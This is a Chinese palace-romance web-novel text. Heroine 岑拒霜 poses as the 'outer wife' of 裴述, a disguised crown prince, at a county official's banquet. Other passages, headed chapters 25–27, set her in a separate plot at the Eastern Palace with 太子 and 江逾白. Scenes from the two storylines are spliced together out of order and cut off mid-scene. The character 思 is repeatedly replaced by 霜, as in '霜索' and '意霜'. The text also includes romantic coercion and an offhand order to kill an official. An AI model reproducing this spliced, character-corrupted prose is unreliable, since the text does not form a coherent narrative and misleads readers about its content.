裴述并未说话,只是视线又停在岑拒霜身上。她当然注意到了,他又是那副,恨不得杀掉她的样子。 已找到应对他的办法,岑拒霜眸中又开始蓄泪,看着裴述道:“卖我来此的人,是我阿父的妾室……赵氏想当我的后母,就处处苛待我……” 她说到这儿,仔细瞄了裴述一眼,他果然神色略有愣怔,看她的眼神也没有那么凶了。 一滴泪落下,岑拒霜伸手擦掉,复又垂眸,裴述能看见她长睫上星星点点的泪,又见女子瘦弱肩头微微颤抖,“为了富贵,她将我迷晕,卖到那样腌臜的地方……” 子弦更是同情岑拒霜,本就觉得她心肠不坏,如今说的这些经历又和殿下相似。恐怕以后,殿下也会手下留情几分。 罗南是个缺心眼的,罗家和睦,听出岑拒霜身世悲惨,但根本理解不了,又煞风景地问了一句,“那你阿母呢?” 似是伤疤被人扯开,岑拒霜紧紧抿着唇,眼眸抬起,看着裴述,泪像断了线的珠子,颗颗落下,她哽咽道:“我阿母……早就没了。” 方才岑拒霜是随便扯个由头,故意装着哭。可说到这儿,她想起了年幼时,母后温柔地抱着她喊伊伊,还有母后身亡时,身下全是血的情景。 她到底何时才能回国?她还有弟弟阿浓。 她还没像母后期盼的那样,帮阿浓继位,之后做整个姜国最尊贵的长公主。 女子满面是泪,梨花带雨,没了昨日的高傲,惹人怜惜,“我阿父应当还不知我丢了,郎君……伊伊如今、很想回家……” 裴述亲眼看着,她哭得愈发伤心。生母早逝、继母刁难的相似经历,让他略有触动。 他亦看出,岑拒霜说的是真话,对母亲的怀念神色,还有提起阿母二字,颤动的纤细脖颈,她是真的伤怀。 罗南还是没琢磨明白,又直白问道:“那你哭便哭,为何要一直盯着我们郎君?” 岑拒霜哭声陡然一顿,抬眸与裴述四目相对。方才哭得太过投入,此刻乍然停下,她没控制住打了一个哭嗝。 裴述一推开门便有淡淡的香气向他袭来,他眉心紧锁。 但随即,他想到了这挑剔的女子都没有衣物换,此处也没备脂粉,应当不是故意弄出来的味道。 可厌烦并未减少,他忍下,再次抬步,绕过屏风,走近内室。 纵使已在宫中多年,养成了喜怒不动于色的性子,但此刻,裴述见清内室情景,还是没能忍住怒意。 内室只有一张床榻,并不算大,上面坐着个女子,穿着罗南给他准备的寝衣,发丝简单挽起来,已经铺好了被褥,俨然是准备睡了。 她明显,得寸进尺至极、对自身境遇没有一点清醒的认知。 他冷声,“从上面滚下来。” 岑拒霜很清醒,若她现在滚下去,就没有地方睡了,她抱紧被子,又开始委屈,“郎君……我是个女子,外面好冷,寒风刺骨,恐会伤身。若郎君不嫌弃的话……同我挤一挤?” 她明知他十分嫌弃她。 这一天,她都在若有若无地试探,每次出言都会偷偷瞄他的面色,举止过界,却踩在他发怒的边缘,显然是在试探他的底线。 如今知道他不会,又用这些小聪明算计他。 裴述已经忍了她一整天的僭越,此刻忍无可忍,怒极反笑。她在试探,他亦在观察,对此女有所了解,她是不会主动下来的。 他抬步走近,岑拒霜一开始还毫不在意,直到裴述越走越近,已经逼近了床榻。 她抱着被子往床边小幅度往后挪着,却仍不愿认输,“你、你做什么!?” 裴述就坐在她边上,微微俯身,凑近已经靠在床边的岑拒霜,两人距离不过咫尺,能感受到对方的呼吸。 在岑拒霜惊恐的目光中,他抬手,轻抚上她脸庞。 他平静直视岑拒霜的眼,视线随着手往下滑,长睫逐渐在眼下投出一小片阴翳,眉宇间几分阴鸷,声音生寒,“你如此嚣张,不会以为、我当真不会对你做些别的吧?” * 岑拒霜意识模糊的间隙,觉着自己肚子被硌得极为难受,而她的上半身似是被人倒立了过来,浑身的血液涌入了脑门儿里,让她的头更加昏沉。 她微微睁开眼,倒置的视野里,金色绣蟒纹锦袍撞入视线,男人劲健的腰腹近在咫尺,腰带上缀满的玉石磕得她额头生疼,她还没来得及反应过来,只觉腰间一紧,太子已把她摆正,顺手扔至了马车车厢的软枕处。 岑拒霜捂着发昏的头,好一会儿才回想起,自己之前做了什么。 那时她被江逾白逼得紧,她一心只想着逃离江逾白身边,不愿嫁入江家,于是岑拒霜瞧见站在不远处的太子时,做了一个她自己都难以置信的决定,足以让她今时想要饮恨西北。 ——她强吻了太子。 岑拒霜睁大了眼,一个激灵让她清醒了不少。 她依稀记得,太子事后还在一众跟前说着她什么“以下犯上,冒犯君威”,直接定了她的罪。 岑拒霜不知自己病昏头时,向天借了几百个肥胆,才敢这样冒失地吻了那尊惹不起的大佛。此时她独自坐在车厢里,极为忐忑不安,仿佛已经预见了自己会被太子反复折磨得模样。 是直接被他切去嘴巴,还是断去抓了他衣襟的手? 岑拒霜想着,愈加慌张起来。 直至太子入了车厢,岑拒霜不敢去看他的神情,支支吾吾了半刻才问出话。 “殿下……我们这是去何处?” 太子的目光落在她把衣裙系带扭成了麻花的手上,他笑得邪肆,刻意缓着语调, “把你带回东宫,好生调.教。” 第 25 章 更衣 微雨初歇,便有天边放晴。 车轱辘轧过的泥泞深深,扬起的马蹄惊落了街道两旁的雨露,洇湿一片锦丝帷裳。 掀动的帷裳下,岑拒霜小心翼翼探出头,瞧着远处依稀能看到巍峨的宫墙轮廓,心里暗暗松了口气。她虽然被太子带走入了宫,但也暂时逃过了提亲风波。 太子没有在她面前提及之前自己强吻他的事,岑拒霜也极为默契地装傻充愣,假作不知。 许是一直绷紧的神经得来了松缓,又许是她这病晕晕的身体已是撑到了极限,岑拒霜撂下帷裳后,脑袋一歪,昏昏沉沉地睡了去。 至马车停下,岑拒霜听闻玄序在外对太子回禀着话,她意识朦胧地睁开了眼,却是半点儿力气都提不起来。 岑拒霜猫着腰钻出了车厢,摇摇晃晃地抓着马车四角悬挂的流苏,怎么也站不稳身。头晕目眩的感觉依旧在,跟前的宫殿青瓦似是生出了好几重影子,旋转着就要朝她扑过来。 太子在旁伸出了手,胳膊已越过她的后腰,岑拒霜眼见他便又要把她扛起来,她揉了揉仍旧有些酸痛的肚子,用着仅剩的力气朝太子小声提议着, “殿下,您可以……可以不那么扛着我吗?臣女……尚在病中,委实经不起折腾。” 太子不明所以地问着,“那要怎么扛?” 岑拒霜想了想,自己之前要不是被太子拎着衣襟险些勒死,要不便是被太子抓着肩膀差点捏碎骨头,她忽然觉着她还能够活生生出现在太子面前,没有缺胳膊少腿,定是她福大命大,有着上天庇佑。 最后岑拒霜在被勒死和被捏碎肩膀之间,选择了让肚子短暂受会儿罪。 “嗯?”裴述真没反应过来,脑海中迅速霜索起,他到漕县之后做了些什么,应当没有暴露身份的举动。 见如此说不通,县衙咬咬牙,直接问了出来,“就是龙阳之好。” 说完,他长叹一口气,瞧着裴述僵硬的神色,也知贸然发问是冒犯,解释的话也噼里啪啦地说了出来,“近些日子,夫人间不知为何流传起这事,都说贤弟你喜好……男子,外室是假的,只是为了掩盖——” 县衙说到这处,余光一扫,见裴述面无表情。他像是被人扼住了喉咙,咽了咽唾沫,再也说不下去。 裴述却倏地笑了起来,但县衙总觉他此刻皮笑肉不笑的样子有些怕人,又见他敛下笑意,平淡道:“大人多虑了。” 这事也没什么不能承认的,如此回答便是变相的否认。虽然对方身份不及自己,但毕竟是县衙出言不逊,他连连赔笑着,之后的话也没法说了。 赵夫人让他问清,若此事为真,就劝其将那小外室放了,他们也不会说出去,而且赵夫人还会将小外室收为养女,暂时庇佑一段时间,之后再送她回家。 但此事为假,县衙连忙告退,回去给夫人通风报信了。 两人单独谈话,就连子弦都走得有些远,此刻见县衙走远,子弦才走近,“郎君,四处无人。” “嗯。”裴述面上的闲适消失,取而代之的是些许阴沉,回想起宴席上的一幕幕,看着县衙走远的背影,他冷声:“姓冯的,不能活过今日,让他死得好看些。至于县衙……先留着罢。” 子弦早已有所预料,即使不回京,殿下也不会容忍冯令史所为,他点点头应下,等会就传话下去,又想起方才报上来的事,“郎君,朝中闹得不可开交。” 裴述猜到了。 他失踪的消息一传出去,冯后定会坐不住,裴鄞也不是有耐心的人,定会趁着他不在,搞些小动作。 可笑的是,那些迂腐从前对他各种挑剔的宗室,更不愿让裴鄞当太子。若有裴鄞那样独断的储君,总妄图插手皇家事的宗室岂会有好日子过? 皇帝亦迟迟未松口改立太子,甚至派出身旁大半亲卫去找裴述,这个他从前视若不见的儿子,让冯后更心惊。 “再乱一乱吧,等他彻底坐不住时,我们便回去。”裴述如此道。 子弦垂头,知道这日不远了。 裴述说话时用另一只手拨正了她的头,让她目视前方,能看清他的动作。 子弦默契地将箭筒中最后一支箭拿起来,递到了裴述手中。 裴述扶着岑拒霜腰侧的手松开,又将那只箭塞到她手里,扶着她的手抬高,想起方才她执着的模样就想笑,“要捏住前面,投的时候也要专心,好好学学……小夫人。” 他话音落下,最后一支箭也落入壶中,十发十中。 但岑拒霜全然没学到,耳边全是那声小夫人,她甚至怀疑自己是不是听错了,但她回头看裴述依旧从容,甚至他还问:“再来一个?” 她明白了,方才那声小夫人就是彻彻底底的嘲讽,他的意霜是她一个假的,凭什么被那么多人尊敬喊为小夫人? 岑拒霜小小哼了一声,推开了他,随后转身往房中走了,而裴述跟在她后面几步远处,面上带笑。 他门二人走远后,赵夫人才从廊庑旁走出来,虽然县衙着脖子解释,高郎断袖一事只是流言,但赵夫人还是不相信。 她那个傻夫君属实不靠谱,这么隐秘的事,高氏郎君已经隐瞒了许久,怎么会轻易告诉旁人真相? 赵夫人的远房堂姐就是赵孺,若论亲缘,两人关系很远,但嫁得近,平日联络也多些。 赵夫人最近听赵孺说了不少郑娘子的可怜事,她十分不忍,听完夫君的话,还是不大相信,就过来亲眼看看。 男女间情谊这种东西,也是一眼就能看出来的。怎么会有郎君对待心爱的女子是这样恶劣的态度,非要与其争个高下。 从县衙夫人这个角度看两人背影,此刻倒像是一对了,骄纵的小女娘还有纵着她的郎君,不像是妾室和郎主,反倒有几分像年少不知如何相处的夫妻。 但她又觉些许不对劲。 用完宴,便已有些晚了,又闹了一番,窗外日影沉下。将至夏,也渐渐热了起来,岑拒霜方才又在外面投壶,出了一身的汗意。 县衙夫人给两人准备的厢房不算太大,但岑拒霜看了一圈发现后面带着的净室非常不错,而且还有个莲花池。 许久都没在汤池中沐浴了,岑拒霜难免有些心痒痒。 她特意出来,小心地打量了几眼裴述,毕竟两人还在一间屋子里,隔着珠帘,她见他在书架旁拿起一本古籍,看得专注,应当一时半会儿不会去净室。 但她还是出门叫了两个小侍女进来。一个在净室前看着人,另外一个则跟她进了净室。 在小侍女的服侍下,岑拒霜泡得十分舒服,赵夫人准备的也很周到,连寝衣都给岑拒霜备好了,料子柔软舒服。 一须臾过去,走出净室时,她外披松垮的寝衣,浓密半干的青丝披散开,如玉的面庞带着些潮气,周身带着闲适与散漫,屋内无人,裴述不知又去了何处。 岑拒霜有些倦了,发现这处当真比小院中的东厢房好多了。起码,如果她被裴述赶下床,这里有个美人榻可以睡。 两人在外面是外室和郎君,当然会同床共枕,所以下面的人只准备了一床被子。 趁着裴述不在,岑拒霜将侍女们都遣了下去,她把床上的被褥都抱了起来,直接铺到美人榻上,她躺了上去,盖好被,果然舒服不少。 她很自觉,在床上也会被赶下来,如今关系好不容易有些进展,还是不要再惹他了。 他不在,独自睡就是安心,岑拒霜很快就睡熟了。 意识混混沉沉,她却察觉身上有凉意袭来,伴着凉飕飕的风,温暖瞬间没了,她迷迷糊糊地睁开眼睛,就见回来的裴述站在她榻前,面无表情。 这不重要,最关键的是,他手上扯着她的被子。 岑拒霜下意识就伸手去拽,可裴述并未松手,她内心气愤,怎会有如此小气的男子。但表面上,她坐起来,仰头疑惑问他,“郎君,为何要把我的被子拿走?” 裴述转头,看了眼空空荡荡的床上,这次她更过分,连个褥子都没给他留,全都搬过来了,他说:“你都搬走了,我怎么办?” 岑拒霜:“郎君去寻人,再要一床就好了啊?” “如今旁人都在怀疑你我二人为假,我若再去要被子,岂不是坐实了猜测?”裴述始终没松手。 岑拒霜觉他甚是小气,虽然说的有理,但她还是不想就此让步,她有预感,如果盖着被子睡,她今晚会睡得极好。 想到他不喜女子,所以,她又笑着看他,“那郎君和伊伊一起睡就好了啊。” 裴述盯着她,岑拒霜理直气壮,又歪了歪头,眯着眼睛笑得很甜,显得愈发诚恳了。 没想到,下一瞬,她整个人连带着被子全被他抱了起来,往床那边走去。 前有县衙府上的小厮引着,裴述缓步走在后面,心中霜索着京中形式。 冯后母子所作所为,他都能猜到,唯一让他惊讶的,是他名义上的父皇。 裴述觉得这一切都很讽刺,听闻他失踪,父皇为何会惊怒,因为他母后?因为他是两人的孩子? 他回想起郭后临死前的疯癫,对他恶毒诅咒的模样,心中戾气顿生。 转过弯,到了厢房外院,又有吵闹声传来,更让人心烦。 “小夫人,再往右边一点!”一堆侍女叽叽喳喳的声音很吵耳朵,前面的小厮停下了脚步,这便是客居的地方了。 子弦也知裴述定会嫌弃,东宫内的宫人,平常不会发出很大的声响,走路都是轻悄悄的,说话稍微大声都会被拉下去治罪。 但这是在旁人家,裴述步子稍顿,之后仍然往前走,转过廊庑,院中光影斑驳,他看清了,罪魁祸首是岑拒霜。 她满脸兴致,站在树下,面上泛着鲜活明亮的光,右手拿着一只箭,是在投壶。 她身后围着一堆加油助威的侍女,纷纷给口中的小夫人打气。 裴述停在楹柱旁,子弦随之停下,顺着裴述的目光,看向院中。 岑拒霜许久都未像今日这般放松了,虽然遇见了猪狗不如甚至还骂她的冯令史,但也结识了好心的县衙夫人,怕她无聊,还让人把投壶的物件搬了出来。 投壶,还是幼时母后教她的,那时总和阿浓一起玩,后来母后过世,也就没了玩闹心霜,如今乍然重拾,有些手生 ,失了准头。 铜制的莲花纹投壶旁已有三四支横七竖八的弓箭了,岑拒霜却觉得下一个一定能投中。 她身子稍微向前探出去一些,拿着箭的右手抬高,袖口落下,露出一截皓白细腻的手腕,可她恍若不觉,神色专注,用力向前一掷。 那只聚着众人目光的箭在空中划出个弧度,最后直直嵌入地下,岑拒霜呆住不敢置信,后面的侍女们想笑又不太敢,毕竟是客人。 裴述:“真笨。” 岑拒霜闻声,稍微转过头,见到立于楹柱旁的裴述,他嫌弃得理所当然。 他这话一出,她身后的侍女也都笑了起来,就连子弦也捂着嘴偷笑。 岑拒霜向来好面子,此刻向裴述那边微仰着头,骄矜地反驳道:“那你来啊。” 她猜裴述是不会上前争这口气的,方才岑拒霜邀县衙夫人一起玩都被拒了。 但裴述直接走了过来,旁边有眼色的侍女又回去取了一筒新的箭。他拾起了一个,全然不像岑拒霜方才那样的郑重,就抬手随意一丢。 站在他旁边的岑拒霜紧紧盯着,这箭到了她手里就一点也不听话,可在他手里,就格外乖巧,一下正入壶中。 输了不好嘲笑,可客人赢了,侍女们开始欢呼庆贺,岑拒霜不服输地嚷着,“不行,你再来一个。” 裴述没拒绝,抬手又捡起一个,一扔又进去了。 岑拒霜:“……再来一个。” 这番重复上演,那筒箭逐渐空了,子弦和侍女们看得有些倦,由激动变得无精打采,这位郎君投壶确实很厉害,不知小夫人为何如此倔强。 极其轻的脚步声混在喧闹声中,裴述稍侧头,见廊庑转弯处有衣角,有人藏在那里,暗中观察这边。 他又转头见岑拒霜垂着脑袋,一股子丧气样,似乎无法接受自己比旁人弱这么多。他也想不通,为何她好胜心如此强。 他扬了扬头,“我教你?” 岑拒霜看着他的脸,儒雅有礼,但绝对不是一个善心的人,这点她已经领教过了,也不想再求他,所以摇头。 她却被一只手揽住腰,强势地拖了过去。她被裴述虚抱在怀里,在她恼怒挣脱之前,他稍弯腰,在她耳边低声说:“有人在看,我们被怀疑了。” 他呼吸间热气都洒岑拒霜耳边,他离她那么近,她耳朵有点痒。但听这话,她已经向后伸出去推他的手,又弱弱地缩了回来,她极不情愿地“嗯”了一声。 可岑拒霜又察觉腰上有热度,低头望去,见是他左手握在她腰上,手指修长瘦削,拇指上有扳指,因着稍用力显露出筋骨来,是方才宴席上她观察的那只手。 她倏然有些脸热。 “专心些。”裴述又在她耳边说。 岑拒霜这才又往前挪了一点。 她不着痕迹地打量着桌案上的饭菜,太子跟前的玉盘盛着吱吱冒油的肉,不知是为什么肉,飘散的香气扑鼻,她却咽了口口水,有些反胃。 岑拒霜强颜笑着,正欲对太子说自己没什么胃口时,忽觉身上发痒得厉害。 自颈间至身上,四肢都痒得极为难受,她强行忍住不去伸手抓挠,可奇痒的难耐折磨着,她又控制不住挽起了衣袖。 只见衣袖之下原本似凝脂的皮肤冒出了好些红色小疹子,肉眼可见的越来越多。 岑拒霜睁大了水漉漉的眸子,恐慌瞬时溢满了心尖。 太子一眼瞧出了问题所在,“去把衣裳换了。” 岑拒霜紧忙站起身,慌不择路地往屏风后跑去,以极快的速度脱掉衣裳。 太子从衣橱里随意翻找出自己的衣裳,转身向屏风后走去,“你先穿着。” 岑拒霜正是将衣裳脱得不着寸缕,余光瞥见太子的衣摆已近了屏风。 第 26 章 夜半 盏盏琉璃珠灯映着明光,落在屏风旁太子掠动的衣摆处。 岑拒霜眼见太子将近,蚕丝绣屏上描摹出的高挺身形越发清晰,她只觉浑身血液霎时冲到了天灵盖,自脸颊至脖颈,烧得她灼烫不已,险些又晕了过去。 她慌忙抱着双臂捂住光洁无缕的身躯,舌头打结似的尖声叫着,“你你…你——” 太子听到岑拒霜着急忙慌的嗓音,旋即也反应了过来屏风后是何等情形,他只是没想到岑拒霜的动作如此之快,不过是他从衣橱折返的短短须臾便已褪去了衣裳。 太子及时顿住了步子,伸手将衣裳往里一抛。 “孤扔这儿了,你自己拿。”坐在裴述边上的子弦闻言震惊地呆住,抬头,眼神在岑拒霜和裴述脸上瞄来瞄去。 子嗣?什么子嗣,因为先郭后,殿下对娶妻一事很是抵触,也没有子嗣,这点就落后于已儿女双全的大皇子。 岑拒霜亦发觉裴述变得古怪的面色,她一时语塞,内心有些奇怪,她说的真这么容易引人误会吗? 她又重新说,头也探过去,离裴述更近一些,语气柔和带着点撒娇意味,“郎君,你看,咱们家也有些名气吧,伊伊虽然是个外室,但好歹也是郎君的人,对吧?” 裴述因着方才猜错面色微僵,但听她这么说,他也差不多知道她要说何事了。他稍偏头,望着她的眸子黑亮,岑拒霜从中看出些许质疑。 什么时候是他的人了? 但她选择视而不见,接着往下说,“外出时也代表着郎君的脸面,与旁家女眷相比,伊伊显得孤零零的……” 裴述点头,“我明白了,你想要个侍女,对吧?” 岑拒霜见他如此上道,心情甚好,如今没了什么失身或被杀掉的风险,看他简直愈发顺眼,又凑过去一点,仰头期待地看着他,“郎君,可以么?” 她眼中亮晶晶的,眼型很好看,睁圆时候带着些许稚气,瞧着单纯极了,没了气人的模样,莫名有些可爱。 裴述又点头,允了。 岑拒霜得偿所愿,高兴地坐了回去。已经过了这么久自食其力的日子,倒不是要一个侍女来伺候她。子弦虽听话,毕竟是个男子,总有些不便。 如果有个侍女,那就能在她沐浴时,帮她望着风了。虽然裴述是个断袖,但她也有点放心不下。 对他,还是要说话好听些,才有好日子过。岑拒霜看着裴述笑了,嘴甜道:“郎君对伊伊真好。” 裴述:“……”他不知,她到底受了什么刺激,这几日变得愈发怪了。 次日,外面吵吵嚷嚷,岑拒霜依稀听见了罗南那个烦人精的声音,她头晕有些发沉,勉强睁开眼。 迷迷糊糊地发觉她被锦被裹得严严实实,粽子似的,她第一日怕冷才这样睡。 但如今一日热过一日,她睡的地方虽然简陋至极,但也不冷,她是不会傻到再团着睡的。 可这处只有她一人,或许是后半夜她觉得冷了,睡梦之中才做傻事。 岑拒霜将身上包裹严实的被子扯开,只觉阵阵发晕,浑身被汗浸湿,里衣紧紧黏在肌肤上,很是难受,但此处不便沐浴,只能作罢。 她坐起身,又清醒几分,回忆起昨日的梦,虽是梦魇,但她又见到了阿母,也不算坏事。 想起阿母临终前对她的嘱托,独自在姜国的阿浓还在等她,岑拒霜撑着榻沿站起来。她得回去,而且是尽快回去。 她推开门,见他们三人又围在一起,余光瞥见那熟悉木盆,不会还打算让她去浣衣吧? 她开口,嗓子有些许干哑,“怎么了?” 经了昨日裴述的警告,罗南也没像往日那样与岑拒霜争论,反倒是对裴述抱怨,“郎君,衣物全被洗坏了。” 上次岑拒霜去河边洗的衣,子弦在院中晾了几日,方才干透。罗南早上去收时,发现外衣全都被打烂了,这给用了多大的力气才能将衣服洗坏。 岑拒霜也瞧见了衣物破烂处,想像往日那样回嘴,却眼前发黑,扶住一旁的窗沿,才能站稳。 子弦不知道裴述和岑拒霜昨晚去了何处,但见她面色发白,和往日不太一样,有些担忧地问道:“阿姊,是受凉了么?” 岑拒霜摇摇头,看着罗南和裴述,态度不大好,“上次我便说了,我不会。” 场面僵持住,岑拒霜已经做好准备,裴述八成又要威胁她怎样怎样。 但他却说:“不会便不做,难受就回去休息,以后都不必再做这些。” 岑拒霜不知他是否真如此好心,但他向来都是那一种表情,她看不出来,今日也不愿去猜,所以转身回屋了,像是听了他的话。 “子弦,去趟医馆,寻坐堂的疾医来。”裴述也看出岑拒霜面色确实不大好,她应当没受凉,不知为何会生病。 子弦应了一声,连忙往出跑,今日无事,裴述也没走,也回了屋。 只有罗南看着那一盆衣物,方才在青楼查探的消息传回来,殿下已知此女身份不明,举止又怪异,明明已起疑心,却连问都没问。 也不应该让外人来小院子,万一走漏风声,情况很糟糕。但这个女子,殿下先是带着她出去,随后又让外人来。 真是色令君昏,不可多留。 疾医很快便来了,看过岑拒霜之后,说她是梦魇中受惊,体热又没散出去汗,硬生生被捂得发起热来。 不过,不要紧,用几副汤药便好。 内室中的裴述也听到了疾医的话,面色些许尴尬。他只觉,女子如此麻烦,而她更甚,娇气极了,凉不得,热不得的。 疾医又言岑拒霜需要静养,所以她什么都做不了,只在床上躺着。 邻里邻居住着,岑拒霜生病这件事,住在旁边的赵孺也得知了,她不忍岑拒霜病重还要被家中郎主虐待,所以赵孺亲自端了饭菜过来看望。 裴述和罗南这才知道,为何岑拒霜和子弦一到用膳时,便说不饿,原是早已聪明地同邻居打好关系,用上了小灶。 赵孺走后,裴述也打算出去,路过屏风斜角处,他往里望了一眼,岑拒霜正低头,拿着勺子小口喝着赵孺送来的鱼汤。 她脸色如霜有倦意,却因起热,又食热汤透着层红,眼皮微肿,他知她昨晚梦中哭了许久,握住他的手许久才止住哭意。 此刻,她一人独坐着,垂着头喝汤,小小一团,失了盛气凌人的娇纵,面容笼着轻愁,周身透着脆弱和孤独。 裴述脚步停下,站在那里,透过屏风缝隙,看了她许久。 岑拒霜养了几日的病,每日赵孺都送饭过来,也没人和她对着干,她深觉如此甚好。 待到裴述要去县衙府上时,其实岑拒霜早就好全了,但她一直蔫蔫的,从屏风后拖着步子走出来,看着裴述,有气无力道:“郎君,伊伊实在病重,要不然,郎君独自前去?” 裴述仔细打量了她的面色,白里通红,唇都由前几日的干白变得粉润,养得很不错,他说:“子弦,再去请疾医过来。” 子弦压根就没看出来岑拒霜早就好了,听裴述这么说,当即便往外跑,岑拒霜不想再喝那苦得想吐的汤药,只得喊住他,“子弦!” 在裴述的注视下,岑拒霜朝他笑了一下,缓慢温顺道:“还是陪郎君赴宴更重要,伊伊病还没好全,但只要还有一口气在,也会陪郎君一起去的。” 岑拒霜不是不想履诺,而是见的都是达官显贵,万一被赵姬的人先打听到了,裴述护不住她可怎么办? 还有便是,她不愿以一个外室的身份见许多人,委曲求全,实在太过丢脸。 但最终还是得去,唯一让岑拒霜有些欣慰的是,可能是为了出去撑面子,裴述颔首后,子弦搬过来一箱衣裙。 每件都精致,料子亦柔软,最下面一层还放着锦盒,里面还有许多与之相配的金玉首饰,还有各式耳珰。 岑拒霜心想,这都是为了他自己,而且非要她同意去后,才将衣物首饰拿出来,很是小气。 但见到好看衣裙,她也生不起气来。 她自己选,换上了一身粉霞芙蓉散花的曳地襦裙,又去旁边寻赵孺帮忙,梳起双环髻,用压纹的金长簪简单固定住。 她便跟着裴述一同赴宴了,子弦扮做小厮,依旧与两人一起。 讨人厌的罗南不知去了何处,但岑拒霜没问,也不想见到那个总同她争风吃醋的男子。 两人名义上是郎君与外室,当然要在同个马车上,两人对坐,裴述旁边有子弦,显得岑拒霜孤零零的。 她倚着车窗,怏怏开口,“郎君,你觉不觉得,如今咱们家缺个人?” 裴述警告她:“不要再提子嗣一事。” 他确实缺个子嗣来堵住宗室的嘴,但绝不会联姻生子,只为血脉繁衍的男女媾合令人作呕。 她无权无势,他对她反感亦少些。若她再提,他恐怕真的会将她带回京,关起来,为他一人所有。 很快便到了县衙府上,他们赴的是午后的飨宴,刚下马车,便有府上的小厮出来迎着。 县丞和县衙都是县令下面的副官,只不过一文一武。县衙为武副官,主管一县治安。 虽然高家从商,地位地下,甚至不得着华衣,但谁能与钱过不去,县衙邀高家郎君来此,一为职责所属,勘察其身份,二是有事相商,为其钱财。 今时以东为尊,县令未至,县衙便携其夫人坐在上方,宴席之上还有尉史、游徼、亭长这样的郡县吏官。 商户为贱,即使有金银,但身份也低于这些几百石俸禄的偏县小吏。裴述也从容降了身份,进门便向上方行作揖之礼。他身旁的岑拒霜也被迫随着他行礼。 此刻场面还算和睦,众人微微起身还了一礼,侍女上前,引着两人到了门旁,距离主位中后远的位置。 一人或两人一案,室内众人皆跪坐于席,岑拒霜亦跪坐于裴述身旁。两人第一次凑得这般近,她已经答应了裴述,便作乖顺状,垂头不言。 众人皆没见过高家郎君,但也知其风流名声,走到何处都要带上个外室,皆以为这定是个猥琐放荡之徒。 完全没想到这高郎竟是高雅之相,举手投足间有风流意,亦有名士洒脱气度,见过真人,便能理解为何那么多女子愿意扑上去了。 还有,漕县少美人,众人以为高郎初来乍到,也寻不到什么貌美的外室,都没想到,这外室竟能美貌至此,又小鸟依人躲在郎君身旁,羞羞怯怯,惹人怜惜。 孰能不爱美色,见此有几位好色的官吏在心中暗暗后悔,漕县不算大,怎么没早些遇见此女,反倒被一外县人看中了。 也没关系,待高郎走后,又有良机。 不过此刻,娇艳女娘和温润郎君同坐一案,倒是有些般配,看起来也养眼。 场面些许静谧,县衙为主人,自然要担起款待客人之责,疏离却有礼节的寒暄过后,县衙问道:“高郎四处行商,如今来漕县,是为何生意?” 这些明面的说辞,定已做好万全的准备,裴述缓声笑道:“某听闻漕县安稳,慕名前来,家中有批新布,希望能运到此处贩卖,多赚些银钱。” 虽是不卑不亢的回答,但也暗戳戳奉承了一番县衙治下有方,治安极好,好得连离漕县这么远的高家都能听闻。 果不其然,裴述这番话说完,县衙脸上的笑容都真切几分,对待裴述也少了几分蔑视。 县衙心中琢磨着,他治下的名声传得如此远,看来明年朝廷考察后,升官有望。 场面开始相互恭维,众小吏也开始奉承着长官如何,将县衙捧得有些飘飘然。 这样的场面甚为无趣,裴述旁边的岑拒霜只负责做一个花瓶便好,她也不便四处打量,只娇羞地垂头。 气氛和睦之时,外面又有粗哑的男子大笑声传来,小厮快步上前,俯耳县衙几句。 县衙听后亦笑,只不过笑意有些勉强,岑拒霜也看出其有些许不虞,听他道:“是冯令史到了。” 一个大腹便便的中年男子走进来,着墨绿华服,头上还带着金冠,长得却肥头大耳,油腻极了。 令史不过是县丞下面百石俸禄的小吏而已,但堂内众人对其十分敬畏,一个令史,气派看着比县衙更足。 岑拒霜看清来人,心中一惊,知大事不妙。她偏头向堂内,同时伸手抱住裴述,将头埋在他肩胛处。 笑声早已止住,冯令史走到门前,一眼便见到了岑拒霜,他喜怒无常,拉下脸来横眉竖目,有些骇人,伸出肥腻的手,向着岑拒霜,“你这贱人,竟在此处!?” 岑拒霜见绣屏上的身影渐渐模糊,这才挪动着步子缓缓向前,躬身拾起了太子扔来的衣裳。 却听太子说,“你吻孤的时候,胆子倒是没现在小。” 他的声线听不出情绪,岑拒霜的心头蓦地被揪紧。 她最怕被太子提及的事情还是来了,加剧的心跳在胸腔里咚咚地快要提到了嗓子眼,若是太子细细追究下来,只怕她没法活着走出东宫。 冒犯君威这种罪名,说大不大,说小也不小,定罪与惩处的方式全权在于太子。 她岑拒霜惹上谁不好,偏偏就惹上了杀人不眨眼、阴晴不定的太子。想来要不是太子仍旧喜欢捉弄于她,她在他无聊的日子里充当了玩伴的角色,他早就杀了她。 他帮她暂时解决表哥的求亲也好,带她回东宫又是治病也罢,兴许只是他兴意未消,她这个“玩伴”还留有价值,不能轻易离开他。 思及种种,岑拒霜敛下眼,连忙谎称,试图蒙混过关,“臣、臣女当时病得糊涂……不太记得有此事了。” “是吗?” 太子轻笑一声,目光落在她嫣红的唇畔,“那会儿你抱着孤吻,又啃又咬,胆子大得要上天了。” 第 27 章 同榻 她抱着太子……又啃又咬? 昏黑之中,岑拒霜抬起头看着太子,惊得睁大了眼。 唇畔相贴的感觉一霎涌入脑海,又如梦似幻,抓不住更多真切的感觉。 她怎么也回想不起,自己冲上去吻了太子后又发生了什么,只记得自己艰难地支起身贴了贴他的唇,随后再清醒过来时,她已是被太子带到回东宫的马车上了。 “既然你不记得了,那便留在东宫好好想想。” 太子瞧她一脸茫然的模样,顿了顿,“又或者……” 岑拒霜问道:“或者什么?” 话方出口,丝衣磨动的窸窣声响自榻缘传来,只见他忽的站起身,其耳边长长的流苏耳坠绞缠得叮叮铃铃,峻拔的身形朝她俯下,犹如山倾,太子的面容顿在了她的咫尺,那双瑞凤眼含着的戏谑,溢着幽幽的流光。 他目光落在她嫣粉的唇畔,“或者,再来一次。” 岑拒霜:“?” 悄无声息,有些安静。 心悦,是第一次有人当面问他,是不是心悦。 这幼稚的两字。此刻他亦发觉,他对待床上的女子在意过多了,甚至清晨时,以为她丢了,他心中是那样的急躁,还有被骗的怒气。 裴述认为他只是对她特殊一点。毕竟她不知他,只以为他是个身份低下的商户子,还说心悦他,愿意和他一起。 他并未回答,眉尾稍压了下去,正看着她,平淡地反问到:“为何会这样想?” 他正经地问,岑拒霜亦正经地开始说:“从前郎君并不让我住里面,还曾威胁过要杀我,如今将床让给了我。赵家阿姊说,心悦一个人便会对她容忍。” 心悦一个人,便会对她诸多容忍。裴述没回答心悦与否,他不知心悦为何,但确实见她欣喜,便又问:“然后呢?” 岑拒霜愣了一下,心悦之后又能怎样?还能怎样?她其实也不知道,就是突然想问问他。 